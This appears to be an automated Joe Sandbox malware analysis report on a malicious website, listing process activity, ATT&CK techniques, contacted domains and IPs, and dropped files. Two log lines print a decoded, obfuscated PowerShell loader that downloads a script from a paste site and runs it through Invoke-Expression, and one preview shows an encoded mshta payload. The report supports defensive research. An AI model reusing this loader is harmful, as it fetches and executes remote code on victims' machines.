Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2576	Thread sleep count: 1695 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2604	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5844	Thread sleep count: 1510 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5652	Thread sleep count: 6986 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5912	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4536	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 984	Thread sleep count: 918 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5152	Thread sleep count: 454 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5152	Thread sleep count: 2914 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2996	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5152	Thread sleep count: 6769 > 30

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded ls panyo;Set-Variable Emi 'public class gMWIpEHNVi{public static string DvgyiJxuTt(string url){return (new System.Net.WebClient()).DownloadString(url);}}';Set-Variable BF 'https://nopaste.net/fffffffffffffffff';&(GV Etex).Value.(((GV Etex).Value\|GM)[6].Name).(((GV Etex).Value.(((GV Etex).Value\|GM)[6].Name).PsObject.Methods\|Where-Object{$_.Name-clike'Gd'}).Name).Invoke((GV Etex).Value.(((GV Etex).Value\|GM)[6].Name).(((GV Etex).Value.(((GV Etex).Value\|GM)[6].Name)\|GM\|Where-Object{$_.Name-clike'ome'}).Name).Invoke('-Tye',1,1),[Management.Automation.CommandTypes]::Cmdlet)-La CSharp (LS Variable:/Emi).Value;([gMWIpEHNVi]::DvgyiJxuTt((GV BF -ValueOnl)))\|&(GI Alias:IE*)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded ls panyo;Set-Variable Emi 'public class gMWIpEHNVi{public static string DvgyiJxuTt(string url){return (new System.Net.WebClient()).DownloadString(url);}}';Set-Variable BF 'https://nopaste.net/fffffffffffffffff';&(GV Etex).Value.(((GV Etex).Value\|GM)[6].Name).(((GV Etex).Value.(((GV Etex).Value\|GM)[6].Name).PsObject.Methods\|Where-Object{$_.Name-clike'Gd'}).Name).Invoke((GV Etex).Value.(((GV Etex).Value\|GM)[6].Name).(((GV Etex).Value.(((GV Etex).Value\|GM)[6].Name)\|GM\|Where-Object{$_.Name-clike'ome'}).Name).Invoke('-Tye',1,1),[Management.Automation.CommandTypes]::Cmdlet)-La CSharp (LS Variable:/Emi).Value;([gMWIpEHNVi]::DvgyiJxuTt((GV BF -ValueOnl)))\|&(GI Alias:IE*)

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	2 Command and Scripting Interpreter	1 Browser Extensions	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Name	IP	Active	Malicious	Reputation
star-mini.c10r.facebook.com	157.240.196.35	true	false	high
mc.yandex.ru	87.250.250.119	true	false	high
vc-live-cf.hotjar.io	3.164.182.78	true	false	high
pacman-content-live.live.eks.hotjar.com	52.49.166.168	true	false	high
nopaste.net	174.138.125.138	true	false	unknown
klipcatepiu0.shop	104.21.26.127	true	false	unknown
pastebin.com	172.67.19.24	true	false	high
annavirgili.com	147.135.166.53	true	false	high
scontent.xx.fbcdn.net	157.240.196.15	true	false	high
script.hotjar.com	3.164.85.124	true	false	high
a37dd8b3f3000a75e.awsglobalaccelerator.com	3.33.155.121	true	false	unknown
rebekkaworm.snuggleam.org	172.67.205.226	true	false	unknown
klipxevojie.shop	104.21.68.188	true	false	unknown
www.google.com	172.217.19.228	true	false	high
yxyz.zyxy.org	104.21.25.207	true	true	unknown
s.w.org	192.0.77.48	true	false	high
wsky-live.live.eks.hotjar.com	54.220.38.244	true	false	high
jonagye.shop	172.67.189.78	true	false	unknown
static-cdn.hotjar.com	18.161.111.91	true	false	high
data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	true	unknown
ntp.msn.com	unknown	unknown	true	unknown
use.fontawesome.com	unknown	unknown	false	high
vc.hotjar.io	unknown	unknown	false	high
static.hotjar.com	unknown	unknown	false	high
_8545._https.data-seed-prebsc-1-s1.bnbchain.org	unknown	unknown	true	unknown
ws.hotjar.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
windows.msn.com	unknown	unknown	true	unknown
mc.yandex.com	unknown	unknown	false	high
connect.facebook.net	unknown	unknown	false	high
content.hotjar.io	unknown	unknown	false	high
silversky.club	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
http://annavirgili.com/	false	Avira URL Cloud: safe	unknown
https://annavirgili.com/	false		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
147.135.166.53	annavirgili.com	France	16276	OVHFR	false
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
172.67.142.245	unknown	United States	13335	CLOUDFLARENETUS	false
108.128.190.134	unknown	United States	16509	AMAZON-02US	false
87.250.250.119	mc.yandex.ru	Russian Federation	13238	YANDEXRU	false
174.138.125.138	nopaste.net	United States	14061	DIGITALOCEAN-ASNUS	false
23.218.208.109	unknown	United States	6453	AS6453US	false
192.0.77.48	s.w.org	United States	2635	AUTOMATTICUS	false
93.158.134.119	unknown	Russian Federation	13238	YANDEXRU	false
104.21.25.207	yxyz.zyxy.org	United States	13335	CLOUDFLARENETUS	true
172.217.19.170	unknown	United States	15169	GOOGLEUS	false
3.33.155.121	a37dd8b3f3000a75e.awsglobalaccelerator.com	United States	8987	AMAZONEXPANSIONGB	false
172.67.205.226	rebekkaworm.snuggleam.org	United States	13335	CLOUDFLARENETUS	false
3.164.85.124	script.hotjar.com	United States	16509	AMAZON-02US	false
142.250.181.46	unknown	United States	15169	GOOGLEUS	false
142.250.181.67	unknown	United States	15169	GOOGLEUS	false
54.220.38.244	wsky-live.live.eks.hotjar.com	United States	16509	AMAZON-02US	false
18.161.111.91	static-cdn.hotjar.com	United States	3	MIT-GATEWAYSUS	false
142.250.181.42	unknown	United States	15169	GOOGLEUS	false
3.164.182.78	vc-live-cf.hotjar.io	United States	16509	AMAZON-02US	false
172.217.19.238	unknown	United States	15169	GOOGLEUS	false
172.217.17.78	unknown	United States	15169	GOOGLEUS	false
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
18.161.111.18	unknown	United States	3	MIT-GATEWAYSUS	false
216.58.208.232	unknown	United States	15169	GOOGLEUS	false
142.250.181.100	unknown	United States	15169	GOOGLEUS	false
52.49.166.168	pacman-content-live.live.eks.hotjar.com	United States	16509	AMAZON-02US	false
142.250.181.104	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
77.88.21.119	unknown	Russian Federation	13238	YANDEXRU	false
157.240.196.15	scontent.xx.fbcdn.net	United States	32934	FACEBOOKUS	false
142.250.181.99	unknown	United States	15169	GOOGLEUS	false
157.240.196.35	star-mini.c10r.facebook.com	United States	32934	FACEBOOKUS	false
64.233.163.84	unknown	United States	15169	GOOGLEUS	false
204.79.197.203	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573672
Start date and time:	2024-12-12 13:26:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	http://annavirgili.com
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.phis.troj.expl.evad.win@32/180@69/254

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8169071768267574
Encrypted:	false
SSDEEP:
MD5:	B3EE37A48CE90A8BD63F02CCCD9D71F3
SHA1:	CDF035B30875C46BAE56A9B0E626B844917E2357
SHA-256:	EB2A6EF2AF8B1CB7D9A9E12CD676671F474BA782EA6D2360E30645C3B5588E27
SHA-512:	0E03B82CA49778360CDD77B314115E47B7C35AF5078D4DBFDEB7561C76C3F435F6960C09B7047D2E756A9553C6A72E21C8E2FEECAE3892E38BB22B3BB2B2A60A
Malicious:	false
Reputation:	unknown
Preview:	..6.........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................d6d6.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	337269
Entropy (8bit):	3.207443147907145
Encrypted:	false
SSDEEP:
MD5:	E2FE6D222C33579954D5B13FBFB38F8F
SHA1:	F744370A7EE2CA2AF1C1942F256DB908543638FF
SHA-256:	74F22344728037B80B1B49340E3BCD3ABD5A9ABC89A36169ED59D9C674DA49F2
SHA-512:	B291DA3C90350062DF4405A1990F6B63155B2AD739F8849D4DB4BF5E4B40D38CEC21560736542616921FD3270DDFD9EC1E485273E196B334C204EE30775A8460
Malicious:	false
Reputation:	unknown
Preview:	66j75f6er63I74H69z6fS6eG20j50R49f73w42S51K28c45s59S53L43f29f7bo76a61J72w20p56k42p4ci6aP41O4ab3dE20x27p27m3bV66U6fa72t20J28T76A61O72D20x6de48m79N55p64K61i20V3dJ20X30n3bI6dW48u79S55X64K61k20q3cV20p45b59y53d43X2eH6cY65r6eS67W74L68n3bM20G6dy48L79x55b64s61F2bf2bG29u7ba76B61e72z20Z41H68W6fz44j62J20s3dO20V53g74J72p69i6el67q2eD66m72L6fz6dv43P68v61H72Z43i6fs64l65p28i45g59Y53b43t5bH6dy48j79v55W64c61e5dU20r2dd20e37o32m31J29U3bp56C42I4cO6aC41j4aj20d3dA20x56R42q4cY6aC41f4ao20I2bh20w41a68n6fG44H62Q7di72U65b74Y75S72c6ek20v56i42R4cA6ag41Y4aJ7dY3bJ76Y61U72j20y56F42m4cG6aR41M4ao20W3dG20q50i49g73i42u51r28g5bi38I33L33L2cX38M33V32H2cH38B34z30P2cz38J32m32C2cS38X33J35L2cw38O33J36L2ce38F32d35F2cz38k32S32l2ch38c32q39B2cM38J32L39m2cj37e36z37P2cN38Y32X32x2cD38g34O31L2cl38g32k32T2cy37z35h33S2ci37Q36I36W2cj38N34i30W2cT37k35q33I2cL37W37b30R2cP37t35y33F2ci37g36B36T2cV38H32z32A2cs38W33D33M2cc37t35D33S2cW38c30g36z2cp38B33e31T2cq38F33A35P2cF38S32E32E2cB38b33k36B2cO38o33B37c2cO38i33d35w2ch38d32g36R2cS38I32v30m2cN38z33P3

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://annavirgili.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\MARBI[1].mp4

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\CSC2CD5A3AC9BED45FD9C1F4AD4196788AE.TMP

C:\Users\user\AppData\Local\Temp\RESBF57.tmp

C:\Users\user\AppData\Local\Temp\cb93f779-25b4-41a2-a992-79114e2e0d22\xdd.exe

C:\Users\user\AppData\Local\Temp\qwzwa2hv.0.cs

C:\Users\user\AppData\Local\Temp\qwzwa2hv.cmdline

C:\Users\user\AppData\Local\Temp\qwzwa2hv.dll

C:\Users\user\AppData\Local\Temp\qwzwa2hv.out

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HGI93ZEGCU2CFZNY6ERA.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

